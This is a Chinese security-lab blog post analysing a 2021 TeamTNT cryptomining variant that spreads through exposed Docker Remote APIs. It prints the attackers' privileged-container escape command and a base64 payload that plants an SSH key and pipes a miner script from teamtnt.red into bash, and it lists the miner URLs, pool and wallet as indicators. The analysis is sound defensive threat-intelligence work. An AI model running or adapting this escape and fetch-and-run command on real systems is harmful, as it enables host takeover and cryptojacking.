云鼎实验室近期捕获到TeamTNT黑客团伙新的容器攻击活动。挖矿病毒通过扫描docker remote api未授权访问漏洞进行传播。相比之前TeamTNT黑客团伙使用的挖矿木马,新变种对原挖矿木马进行了升级,在进行感染时使用了新的策略。
样本属于最新版本TEAMTNT样本,云鼎实验室哨兵系统第一时间捕获,本文会详细分析样本在入侵,持久化,容器逃逸等多个方面所使用的技术,并对应到ATT&CK矩阵。
样本的开发时间大约在2021年09月14日编写完毕,云鼎实验室哨兵系统在9月14号第一时间捕获,并进行了详细的分析。
哨兵捕获的网络包:
样本流行程度:
通过哨兵智能情报统计系统,样本在刚刚爆发的2周内较为流行,随后感染率持续下降。
TEAMTNT的新样本通过docker remote API 传播,过程中使用了 特权容器,容器逃逸,LKM rootkit 等先进攻击方式,下面是对于整个攻击过程的att&ck矩阵分析。
下图为攻击流程,我们将整个过程分为五个部分讲解:1、初始化访问与对外扫描 2、执行3、权限提升-容器逃逸 4、攻击持久化 5、防御绕过
3.1 攻击向量-初始访问与横向扫描—Remote API 漏洞:
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
A、扫描获取docker API版本
调用masscan 和 zgrab扫描目标IP,通过请求旧版本的命令,可以获取到最新的docker API版本。
相关代码如下:
B、利用Remote API漏洞:
直接通过Remote API漏洞,远程启动传播病毒的容器镜像 alpineos/dockerapi,容器使用完成后会自动清除容器内部的文件系统。启动alpine 容器进行容器逃逸。
3.2 攻击向量-执行:
在目标机器上的命令执行通过特权容器执行恶意指令,进行挖矿和病毒传播。
A、恶意镜像alpineos/dockerapi:
经查询,alpineos账号注册时间为2021年5月26日,其中alpineos/dockerapi镜像更新时间为截止目前已有16天,大约有5500台主机被感染。
镜像启动时会执行名为pause的脚本,pause脚本用于病毒的传播。
B、镜像Alpine
正规白镜像,镜像大小只有5M,方便下载,teamTNT使用这个镜像进行容器逃逸。
3.3攻击向量-权限提升----Docker逃逸:
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'
3.4攻击向量-防御绕过----清理痕迹与进程隐藏:
3.5攻击向量—持久化—释放远控
TEAMTNT会下载Chimaera IRC 远控木马,木马没有加壳,功能较为丰富,这里不做过多介绍。
相关命令和描述如下图所示:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
还原ps命令,并清理定时任务,有些挖矿木马存在修改系统命令:
挖矿信息总结:
矿池:dl.chimaera.cc:21582
钱包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq
首选挖矿程序:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz
备用挖矿程序:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz
URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh;http://teamtnt.red/sh/setup/diamorphine.sh
云鼎实验室视频号
一分钟走进趣味科技
原文始发于微信公众号(云鼎实验室):TeamTNT 样本新变种分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论